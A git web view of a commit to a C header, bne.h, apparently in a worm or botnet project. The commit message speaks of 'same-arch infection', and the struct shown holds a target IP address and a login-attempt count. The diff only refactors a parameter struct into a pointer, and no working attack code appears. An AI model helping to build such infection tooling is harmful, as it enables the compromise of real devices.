aboutsummaryrefslogtreecommitdiff
path: root/src/bne.h
diff options
context:
space:
mode:
authorDavid Timber <mieabby@gmail.com>2021-07-22 22:30:48 +1000
committerDavid Timber <mieabby@gmail.com>2021-07-22 22:30:48 +1000
commit5a98bcd78867b4fb1a272ce26774c8811f28750d (patch)
treefebb7d4d3112d4ce598cd9352fc81d2da2d54ca6 /src/bne.h
parenta0b92490365dc88d50c81780ff9ebb6ddb681e5e (diff)
Impl PRNE_HTBT_OP_RCB ...
* Parameterize prne_start_bin_rcb() args * Change value of PRNE_ARCH_NONE to 0 to use it over the wire (problem arises deserialising) * tostr() and fstr() functions set errno to EINVAL * Run bne without binary archive to support same-arch infection
Diffstat (limited to 'src/bne.h')
-rw-r--r--src/bne.h10
1 files changed, 1 insertions, 9 deletions
diff --git a/src/bne.h b/src/bne.h
index dd83dc1..a3f7979 100644
--- a/src/bne.h
+++ b/src/bne.h
@@ -40,15 +40,7 @@ struct prne_bne_param {
void (*exit_dd)(void *ctx);
} cb;
void *cb_ctx;
- struct {
- const uint8_t *m_self;
- size_t self_len;
- size_t exec_len;
- const uint8_t *m_dv;
- size_t dv_len;
- const prne_bin_archive_t *ba;
- prne_arch_t self;
- } rcb;
+ const prne_rcb_param_t *rcb;
prne_ip_addr_t subject;
unsigned int login_attempt;
};